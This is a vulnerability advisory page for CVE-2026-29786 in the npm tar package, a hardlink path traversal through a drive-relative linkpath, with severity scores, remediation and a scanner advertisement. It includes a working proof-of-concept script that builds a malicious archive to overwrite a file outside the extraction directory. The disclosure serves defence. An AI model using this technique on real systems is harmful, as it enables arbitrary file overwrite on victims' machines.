Skip to main content

CVE-2026-29786 — Vulnerability in tar — CVE Details

HIGH

tar has Hardlink Path Traversal via Drive-Relative Linkpath

Published March 5, 2026Updated September 10, 2026Source: OSV

What Should I Do?

Address in Next Maintenance Window

Low exploitation probability (0.46%). Schedule for your next planned update.

Does your project use an affected tar version?

Paste your package-lock.json to check it for CVE-2026-29786 and every other known vulnerability, with CISA KEV and EPSS on each finding. Free with no signup for up to 10 packages, or up to 500 per scan with a free account, which also keeps up to 200 packages in saved projects.

Check my package-lock.json

Summary

Summary

tar (npm) can be tricked into creating a hardlink that points outside the extraction directory by using a drive-relative link target such as C:../target.txt, which enables file overwrite outside cwd during normal tar.x() extraction.

Details

The extraction logic in Unpack[STRIPABSOLUTEPATH] checks for .. segments before stripping absolute roots.

What happens with linkpath: "C:../target.txt":

  1. Split on / gives ['C:..', 'target.txt'], so parts.includes('..') is false.
  2. stripAbsolutePath() removes C: and rewrites the value to ../target.txt.
  3. Hardlink creation resolves this against extraction cwd and escapes one directory up.
  4. Writing through the extracted hardlink overwrites the outside file.

This is reachable in standard usage (tar.x({ cwd, file })) when extracting attacker-controlled tar archives.

PoC

Tested on Arch Linux with tar@7.5.9.

PoC script (poc.cjs):

const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')

const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(process.cwd(), 'poc.tar')

fs.writeFileSync(target, 'ORIGINAL\n')

const b = Buffer.alloc(1536)
new Header({ path: 'l', type: 'Link', linkpath: 'C:../target.txt' }).encode(b, 0)
fs.writeFileSync(tarFile, b)

x({ cwd, file: tarFile }).then(() => {
  fs.writeFileSync(path.join(cwd, 'l'), 'PWNED\n')
  process.stdout.write(fs.readFileSync(target, 'utf8'))
})

Run:

cd test-workspace
node poc.cjs && ls -l ../target.txt

Observed output:

PWNED
-rw-r--r-- 2 joshuavr joshuavr 6 Mar  4 19:25 ../target.txt

PWNED confirms outside file content overwrite. Link count 2 confirms the extracted file and ../target.txt are hardlinked.

Impact

This is an arbitrary file overwrite primitive outside the intended extraction root, with the permissions of the process performing extraction.

Realistic scenarios:

  • CLI tools unpacking untrusted tarballs into a working directory
  • build/update pipelines consuming third-party archives
  • services that import user-supplied tar files

Advisory Timeline

  • First published March 5, 2026 (266 days ago).
  • Last revised September 10, 2026 — 189 days after initial publication.

Remediation

Upgrade to the fixed version using your package manager.

npm
Update tar to 7.5.10 or later
npm install tar@7.5.10

After upgrading, scan your dependencies again to confirm the vulnerability is resolved.

Affected Packages (1)

Affects 1 ecosystem: npm (1).

PackageFixed In
tar npm · Affected: All versions7.5.10

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 7.1 score means for each attack dimension.

Attack Vector
Local
Attack Complexity
Low
Privileges Required
None
User Interaction
P
Scope
—
Confidentiality
—
Integrity
—
Availability
—

CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L

Frequently Asked Questions

What is CVE-2026-29786?
tar has Hardlink Path Traversal via Drive-Relative Linkpath. This vulnerability has been assigned a severity rating of HIGH (CVSS score: 7.1/10).
How do I check if my project is affected by CVE-2026-29786?
CVE-2026-29786 affects tar. It has a 0.5% probability of exploitation within 30 days (EPSS score). Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-29786 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
7.1

Significant impact if exploited, or exploitable with modest effort.

EPSS Score (30-day exploit probability)
0.46%
EPSS percentile: 31.8

This is a below-median EPSS score — only 31.8% of tracked vulnerabilities score at or below it, so most tracked vulnerabilities are considered more likely to be exploited than this one.

Also Known As

GHSA-qffp-2rhf-9h96

Related CVEs

  • CVE-2021-37712
    HIGH

    Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning using symbolic links

  • CVE-2026-73566
    HIGH

    node-tar: Uncontrolled recursion in mapHas/filesFilter allows uncatchable stack-overflow DoS via crafted long-path tar with member selection

  • CVE-2021-32803
    HIGH

    Arbitrary File Creation/Overwrite via insufficient symlink protection due to directory cache poisoning

  • CVE-2026-23950
    HIGH

    Race Condition in node-tar Path Reservations via Unicode Ligature Collisions on macOS APFS

  • CVE-2024-28863
    MEDIUM

    Denial of service while parsing a tar file due to lack of folders count validation

  • CVE-2026-59875
    MEDIUM

    node-tar: Uncaught Exception DoS via NUL byte in PAX path/linkpath records

  • CVE-2026-53655
    MEDIUM

    node-tar applies PAX size override to intermediary GNU long-name/long-link headers, causing tar parser interpretation differential (file smuggling)

  • CVE-2026-59871
    MEDIUM

    node-tar: Process crash via PAX numeric path type confusion

Check your own dependencies

Free, with no signup for up to 10 packages.

Check my package-lock.json